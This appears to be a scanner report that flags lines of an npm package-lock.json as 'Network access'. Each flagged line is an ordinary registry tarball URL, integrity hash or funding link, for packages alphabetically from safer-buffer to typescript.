    "version": "2.1.2",       "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",       "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==",
  • Network accessline 5244
    "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
  • Network accessline 5249
    "node_modules/saxes": {       "version": "6.0.0",       "resolved": "https://registry.npmjs.org/saxes/-/saxes-6.0.0.tgz",
  • Network accessline 5250
    "version": "6.0.0",       "resolved": "https://registry.npmjs.org/saxes/-/saxes-6.0.0.tgz",       "integrity": "sha512-xAg7SOnEhrm5zI3puOOKyy1OMcMlIJZYNJY7xLBwSze0UjhPLnWfj2GF2EpT0jmzaJKIWKHLsaSSajf35bcYnA==",
  • Network accessline 5251
    "resolved": "https://registry.npmjs.org/saxes/-/saxes-6.0.0.tgz",
  • Network accessline 5262
    "node_modules/semver": {       "version": "7.7.4",       "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.4.tgz",
  • Network accessline 5263
    "version": "7.7.4",       "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.4.tgz",       "integrity": "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA==",
  • Network accessline 5264
    "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.4.tgz",
  • Network accessline 5275
    "node_modules/send": {       "version": "1.2.1",       "resolved": "https://registry.npmjs.org/send/-/send-1.2.1.tgz",
  • Network accessline 5276
    "version": "1.2.1",       "resolved": "https://registry.npmjs.org/send/-/send-1.2.1.tgz",       "integrity": "sha512-1gnZf7DFcoIcajTjTwjwuDjzuz4PPcY2StKPlsGAQ1+YH20IRVrBaXSWmdjowTJ6u8Rc01PoYOGHXfP1mYcZNQ==",
  • Network accessline 5277
    "resolved": "https://registry.npmjs.org/send/-/send-1.2.1.tgz",
  • Network accessline 5298
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/express"
  • Network accessline 5299
    "type": "opencollective",         "url": "https://opencollective.com/express"       }
  • Network accessline 5300
    "url": "https://opencollective.com/express"
  • Network accessline 5303
    "node_modules/send/node_modules/mime-db": {       "version": "1.54.0",       "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz",
  • Network accessline 5304
    "version": "1.54.0",       "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz",       "integrity": "sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ==",
  • Network accessline 5305
    "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz",
  • Network accessline 5314
    "node_modules/send/node_modules/mime-types": {       "version": "3.0.2",       "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-3.0.2.tgz",
  • Network accessline 5315
    "version": "3.0.2",       "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-3.0.2.tgz",       "integrity": "sha512-Lbgzdk0h4juoQ9fCKXW4by0UJqj+nOOrI9MJ1sSj4nI8aI2eo1qmvQEie4VD1glsS250n15LsWsYtCugiStS5A==",
  • Network accessline 5316
    "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-3.0.2.tgz",
  • Network accessline 5327
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/express"
  • Network accessline 5328
    "type": "opencollective",         "url": "https://opencollective.com/express"       }
  • Network accessline 5329
    "url": "https://opencollective.com/express"
  • Network accessline 5332
    "node_modules/serve-static": {       "version": "2.2.1",       "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-2.2.1.tgz",
  • Network accessline 5333
    "version": "2.2.1",       "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-2.2.1.tgz",       "integrity": "sha512-xRXBn0pPqQTVQiC8wyQrKs2MOlX24zQ0POGaj0kultvoOCstBQM5yvOhAVSUwOMjQtTvsPWoNCHfPGwaaQJhTw==",
  • Network accessline 5334
    "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-2.2.1.tgz",
  • Network accessline 5348
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/express"
  • Network accessline 5349
    "type": "opencollective",         "url": "https://opencollective.com/express"       }
  • Network accessline 5350
    "url": "https://opencollective.com/express"
  • Network accessline 5353
    "node_modules/setprototypeof": {       "version": "1.2.0",       "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz",
  • Network accessline 5354
    "version": "1.2.0",       "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz",       "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==",
  • Network accessline 5355
    "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz",
  • Network accessline 5361
    "node_modules/shebang-command": {       "version": "2.0.0",       "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
  • Network accessline 5362
    "version": "2.0.0",       "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",       "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==",
  • Network accessline 5363
    "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
  • Network accessline 5374
    "node_modules/shebang-regex": {       "version": "3.0.0",       "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
  • Network accessline 5375
    "version": "3.0.0",       "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",       "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==",
  • Network accessline 5376
    "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
  • Network accessline 5384
    "node_modules/side-channel": {       "version": "1.1.1",       "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.1.tgz",
  • Network accessline 5385
    "version": "1.1.1",       "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.1.tgz",       "integrity": "sha512-6x6dK6zJdpTzF4sQeNYxwtvBzf6Eg4GtlesS94HOvTudUeyK2WXAaIfmDgsyslYrRBeFIlsi54AYsFGUuhmvrQ==",
  • Network accessline 5386
    "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.1.tgz",
  • Network accessline 5400
    },       "funding": {         "url": "https://github.com/sponsors/ljharb"
  • Network accessline 5401
    "funding": {         "url": "https://github.com/sponsors/ljharb"       }
  • Network accessline 5402
    "url": "https://github.com/sponsors/ljharb"
  • Network accessline 5405
    "node_modules/side-channel-list": {       "version": "1.0.1",       "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.1.tgz",
  • Network accessline 5406
    "version": "1.0.1",       "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.1.tgz",       "integrity": "sha512-mjn/0bi/oUURjc5Xl7IaWi/OJJJumuoJFQJfDDyO46+hBWsfaVM65TBHq2eoZBhzl9EchxOijpkbRC8SVBQU0w==",
  • Network accessline 5407
    "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.1.tgz",
  • Network accessline 5418
    },       "funding": {         "url": "https://github.com/sponsors/ljharb"
  • Network accessline 5419
    "funding": {         "url": "https://github.com/sponsors/ljharb"       }
  • Network accessline 5420
    "url": "https://github.com/sponsors/ljharb"
  • Network accessline 5423
    "node_modules/side-channel-map": {       "version": "1.0.1",       "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz",
  • Network accessline 5424
    "version": "1.0.1",       "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz",       "integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==",
  • Network accessline 5425
    "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz",
  • Network accessline 5438
    },       "funding": {         "url": "https://github.com/sponsors/ljharb"
  • Network accessline 5439
    "funding": {         "url": "https://github.com/sponsors/ljharb"       }
  • Network accessline 5440
    "url": "https://github.com/sponsors/ljharb"
  • Network accessline 5443
    "node_modules/side-channel-weakmap": {       "version": "1.0.2",       "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz",
  • Network accessline 5444
    "version": "1.0.2",       "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz",       "integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==",
  • Network accessline 5445
    "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz",
  • Network accessline 5459
    },       "funding": {         "url": "https://github.com/sponsors/ljharb"
  • Network accessline 5460
    "funding": {         "url": "https://github.com/sponsors/ljharb"       }
  • Network accessline 5461
    "url": "https://github.com/sponsors/ljharb"
  • Network accessline 5464
    "node_modules/signal-exit": {       "version": "3.0.7",       "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz",
  • Network accessline 5465
    "version": "3.0.7",       "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz",       "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==",
  • Network accessline 5466
    "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz",
  • Network accessline 5471
    "node_modules/sisteransi": {       "version": "1.0.5",       "resolved": "https://registry.npmjs.org/sisteransi/-/sisteransi-1.0.5.tgz",
  • Network accessline 5472
    "version": "1.0.5",       "resolved": "https://registry.npmjs.org/sisteransi/-/sisteransi-1.0.5.tgz",       "integrity": "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==",
  • Network accessline 5473
    "resolved": "https://registry.npmjs.org/sisteransi/-/sisteransi-1.0.5.tgz",
  • Network accessline 5478
    "node_modules/slash": {       "version": "3.0.0",       "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz",
  • Network accessline 5479
    "version": "3.0.0",       "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz",       "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==",
  • Network accessline 5480
    "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz",
  • Network accessline 5488
    "node_modules/source-map": {       "version": "0.6.1",       "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
  • Network accessline 5489
    "version": "0.6.1",       "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",       "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
  • Network accessline 5490
    "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
  • Network accessline 5498
    "node_modules/source-map-support": {       "version": "0.5.13",       "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.13.tgz",
  • Network accessline 5499
    "version": "0.5.13",       "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.13.tgz",       "integrity": "sha512-SHSKFHadjVA5oR4PPqhtAVdcBWwRYVd6g6cAXnIbRiIwc2EhPrTuKUBdSLvlEKyIP3GCf89fltvcZiP9MMFA1w==",
  • Network accessline 5500
    "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.13.tgz",
  • Network accessline 5509
    "node_modules/sprintf-js": {       "version": "1.0.3",       "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz",
  • Network accessline 5510
    "version": "1.0.3",       "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz",       "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==",
  • Network accessline 5511
    "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz",
  • Network accessline 5516
    "node_modules/stack-utils": {       "version": "2.0.6",       "resolved": "https://registry.npmjs.org/stack-utils/-/stack-utils-2.0.6.tgz",
  • Network accessline 5517
    "version": "2.0.6",       "resolved": "https://registry.npmjs.org/stack-utils/-/stack-utils-2.0.6.tgz",       "integrity": "sha512-XlkWvfIm6RmsWtNJx+uqtKLS8eqFbxUg0ZzLXqY0caEy9l7hruX8IpiDnjsLavoBgqCCR71TqWO8MaXYheJ3RQ==",
  • Network accessline 5518
    "resolved": "https://registry.npmjs.org/stack-utils/-/stack-utils-2.0.6.tgz",
  • Network accessline 5529
    "node_modules/standardwebhooks": {       "version": "1.0.0",       "resolved": "https://registry.npmjs.org/standardwebhooks/-/standardwebhooks-1.0.0.tgz",
  • Network accessline 5530
    "version": "1.0.0",       "resolved": "https://registry.npmjs.org/standardwebhooks/-/standardwebhooks-1.0.0.tgz",       "integrity": "sha512-BbHGOQK9olHPMvQNHWul6MYlrRTAOKn03rOe4A8O3CLWhNf4YHBqq2HJKKC+sfqpxiBY52pNeesD6jIiLDz8jg==",
  • Network accessline 5531
    "resolved": "https://registry.npmjs.org/standardwebhooks/-/standardwebhooks-1.0.0.tgz",
  • Network accessline 5541
    "node_modules/statuses": {       "version": "2.0.2",       "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.2.tgz",
  • Network accessline 5542
    "version": "2.0.2",       "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.2.tgz",       "integrity": "sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw==",
  • Network accessline 5543
    "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.2.tgz",
  • Network accessline 5552
    "node_modules/string-length": {       "version": "4.0.2",       "resolved": "https://registry.npmjs.org/string-length/-/string-length-4.0.2.tgz",
  • Network accessline 5553
    "version": "4.0.2",       "resolved": "https://registry.npmjs.org/string-length/-/string-length-4.0.2.tgz",       "integrity": "sha512-+l6rNN5fYHNhZZy41RXsYptCjA2Igmq4EG7kZAYFQI1E1VTXarr6ZPXBg6eq7Y6eK4FEhY6AJlyuFIb/v/S0VQ==",
  • Network accessline 5554
    "resolved": "https://registry.npmjs.org/string-length/-/string-length-4.0.2.tgz",
  • Network accessline 5566
    "node_modules/string-width": {       "version": "4.2.3",       "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
  • Network accessline 5567
    "version": "4.2.3",       "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",       "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
  • Network accessline 5568
    "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
  • Network accessline 5581
    "node_modules/strip-ansi": {       "version": "6.0.1",       "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
  • Network accessline 5582
    "version": "6.0.1",       "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",       "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
  • Network accessline 5583
    "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
  • Network accessline 5594
    "node_modules/strip-bom": {       "version": "4.0.0",       "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-4.0.0.tgz",
  • Network accessline 5595
    "version": "4.0.0",       "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-4.0.0.tgz",       "integrity": "sha512-3xurFv5tEgii33Zi8Jtp55wEIILR9eh34FAW00PZf+JnSsTmV/ioewSgQl97JHvgjoRGwPShsWm+IdrxB35d0w==",
  • Network accessline 5596
    "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-4.0.0.tgz",
  • Network accessline 5604
    "node_modules/strip-final-newline": {       "version": "2.0.0",       "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-2.0.0.tgz",
  • Network accessline 5605
    "version": "2.0.0",       "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-2.0.0.tgz",       "integrity": "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==",
  • Network accessline 5606
    "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-2.0.0.tgz",
  • Network accessline 5614
    "node_modules/strip-json-comments": {       "version": "3.1.1",       "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz",
  • Network accessline 5615
    "version": "3.1.1",       "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz",       "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==",
  • Network accessline 5616
    "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz",
  • Network accessline 5622
    },       "funding": {         "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 5623
    "funding": {         "url": "https://github.com/sponsors/sindresorhus"       }
  • Network accessline 5624
    "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 5627
    "node_modules/supports-color": {       "version": "7.2.0",       "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
  • Network accessline 5628
    "version": "7.2.0",       "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",       "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
  • Network accessline 5629
    "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
  • Network accessline 5640
    "node_modules/supports-preserve-symlinks-flag": {       "version": "1.0.0",       "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz",
  • Network accessline 5641
    "version": "1.0.0",       "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz",       "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6
  • Network accessline 5642
    "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz",
  • Network accessline 5648
    },       "funding": {         "url": "https://github.com/sponsors/ljharb"
  • Network accessline 5649
    "funding": {         "url": "https://github.com/sponsors/ljharb"       }
  • Network accessline 5650
    "url": "https://github.com/sponsors/ljharb"
  • Network accessline 5653
    "node_modules/symbol-tree": {       "version": "3.2.4",       "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz",
  • Network accessline 5654
    "version": "3.2.4",       "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz",       "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==",
  • Network accessline 5655
    "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz",
  • Network accessline 5660
    "node_modules/test-exclude": {       "version": "6.0.0",       "resolved": "https://registry.npmjs.org/test-exclude/-/test-exclude-6.0.0.tgz",
  • Network accessline 5661
    "version": "6.0.0",       "resolved": "https://registry.npmjs.org/test-exclude/-/test-exclude-6.0.0.tgz",       "integrity": "sha512-cAGWPIyOHU6zlmg88jwm7VRyXnMN7iV68OGAbYDk/Mh/xC/pzVPlQtY6ngoIH/5/tciuhGfvESU8GrHrcxD56w==",
  • Network accessline 5662
    "resolved": "https://registry.npmjs.org/test-exclude/-/test-exclude-6.0.0.tgz",
  • Network accessline 5675
    "node_modules/tmpl": {       "version": "1.0.5",       "resolved": "https://registry.npmjs.org/tmpl/-/tmpl-1.0.5.tgz",
  • Network accessline 5676
    "version": "1.0.5",       "resolved": "https://registry.npmjs.org/tmpl/-/tmpl-1.0.5.tgz",       "integrity": "sha512-3f0uOEAQwIqGuWW2MVzYg8fV/QNnc/IpuJNG837rLuczAaLVHslWHZQj4IGiEl5Hs3kkbhwL9Ab7Hrsmuj+Smw==",
  • Network accessline 5677
    "resolved": "https://registry.npmjs.org/tmpl/-/tmpl-1.0.5.tgz",
  • Network accessline 5682
    "node_modules/to-regex-range": {       "version": "5.0.1",       "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
  • Network accessline 5683
    "version": "5.0.1",       "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",       "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
  • Network accessline 5684
    "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
  • Network accessline 5695
    "node_modules/toidentifier": {       "version": "1.0.1",       "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz",
  • Network accessline 5696
    "version": "1.0.1",       "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz",       "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==",
  • Network accessline 5697
    "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz",
  • Network accessline 5706
    "node_modules/tough-cookie": {       "version": "4.1.4",       "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.1.4.tgz",
  • Network accessline 5707
    "version": "4.1.4",       "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.1.4.tgz",       "integrity": "sha512-Loo5UUvLD9ScZ6jh8beX1T6sO1w2/MpCRpEP7V280GKMVUQ0Jzar2U3UJPsrdbziLEMMhu3Ujnq//rhiFuIeag==",
  • Network accessline 5708
    "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.1.4.tgz",
  • Network accessline 5722
    "node_modules/tr46": {       "version": "5.1.1",       "resolved": "https://registry.npmjs.org/tr46/-/tr46-5.1.1.tgz",
  • Network accessline 5723
    "version": "5.1.1",       "resolved": "https://registry.npmjs.org/tr46/-/tr46-5.1.1.tgz",       "integrity": "sha512-hdF5ZgjTqgAntKkklYw0R03MG2x/bSzTtkxmIRw/sTNV8YXsCJ1tfLAX23lhxhHJlEf3CRCOCGGWw3vI3GaSPw==",
  • Network accessline 5724
    "resolved": "https://registry.npmjs.org/tr46/-/tr46-5.1.1.tgz",
  • Network accessline 5735
    "node_modules/ts-algebra": {       "version": "2.0.0",       "resolved": "https://registry.npmjs.org/ts-algebra/-/ts-algebra-2.0.0.tgz",
  • Network accessline 5736
    "version": "2.0.0",       "resolved": "https://registry.npmjs.org/ts-algebra/-/ts-algebra-2.0.0.tgz",       "integrity": "sha512-FPAhNPFMrkwz76P7cdjdmiShwMynZYN6SgOujD1urY4oNm80Ou9oMdmbR45LotcKOXoy7wSmHkRFE6Mxbrhefw==",
  • Network accessline 5737
    "resolved": "https://registry.npmjs.org/ts-algebra/-/ts-algebra-2.0.0.tgz",
  • Network accessline 5743
    "node_modules/type-detect": {       "version": "4.0.8",       "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz",
  • Network accessline 5744
    "version": "4.0.8",       "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz",       "integrity": "sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==",
  • Network accessline 5745
    "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz",
  • Network accessline 5753
    "node_modules/type-fest": {       "version": "0.21.3",       "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.21.3.tgz",
  • Network accessline 5754
    "version": "0.21.3",       "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.21.3.tgz",       "integrity": "sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==",
  • Network accessline 5755
    "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.21.3.tgz",
  • Network accessline 5761
    },       "funding": {         "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 5762
    "funding": {         "url": "https://github.com/sponsors/sindresorhus"       }
  • Network accessline 5763
    "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 5766
    "node_modules/type-is": {       "version": "2.1.0",       "resolved": "https://registry.npmjs.org/type-is/-/type-is-2.1.0.tgz",
  • Network accessline 5767
    "version": "2.1.0",       "resolved": "https://registry.npmjs.org/type-is/-/type-is-2.1.0.tgz",       "integrity": "sha512-faYHw0anBbc/kWF3zFTEnxSFOAGUX9GFbOBthvDdLsIlEoWOFOtS0zgCiQYwIskL9iGXZL3kAXD8OoZ4GmMATA==",
  • Network accessline 5768
    "resolved": "https://registry.npmjs.org/type-is/-/type-is-2.1.0.tgz",
  • Network accessline 5781
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/express"
  • Network accessline 5782
    "type": "opencollective",         "url": "https://opencollective.com/express"       }
  • Network accessline 5783
    "url": "https://opencollective.com/express"
  • Network accessline 5786
    "node_modules/type-is/node_modules/content-type": {       "version": "2.0.0",       "resolved": "https://registry.npmjs.org/content-type/-/content-type-2.0.0.tgz",
  • Network accessline 5787
    "version": "2.0.0",       "resolved": "https://registry.npmjs.org/content-type/-/content-type-2.0.0.tgz",       "integrity": "sha512-j/O/d7GcZCyNl7/hwZAb606rzqkyvaDctLmckbxLzHvFBzTJHuGEdodATcP3yIRoDrLHkIATJuvzbFlp/ki2cQ==",
  • Network accessline 5788
    "resolved": "https://registry.npmjs.org/content-type/-/content-type-2.0.0.tgz",
  • Network accessline 5796
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/express"
  • Network accessline 5797
    "type": "opencollective",         "url": "https://opencollective.com/express"       }
  • Network accessline 5798
    "url": "https://opencollective.com/express"
  • Network accessline 5801
    "node_modules/type-is/node_modules/mime-db": {       "version": "1.54.0",       "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz",
  • Network accessline 5802
    "version": "1.54.0",       "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz",       "integrity": "sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ==",
  • Network accessline 5803
    "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz",
  • Network accessline 5812
    "node_modules/type-is/node_modules/mime-types": {       "version": "3.0.2",       "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-3.0.2.tgz",
  • Network accessline 5813
    "version": "3.0.2",       "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-3.0.2.tgz",       "integrity": "sha512-Lbgzdk0h4juoQ9fCKXW4by0UJqj+nOOrI9MJ1sSj4nI8aI2eo1qmvQEie4VD1glsS250n15LsWsYtCugiStS5A==",
  • Network accessline 5814
    "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-3.0.2.tgz",
  • Network accessline 5825
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/express"
  • Network accessline 5826
    "type": "opencollective",         "url": "https://opencollective.com/express"       }
  • Network accessline 5827
    "url": "https://opencollective.com/express"
  • Network accessline 5830
    "node_modules/typescript": {       "version": "5.9.3",       "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz",
  • Network accessline 5831
    "version": "5.9.3",       "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz",       "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==",
  • Network accessline 5832
    "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz",
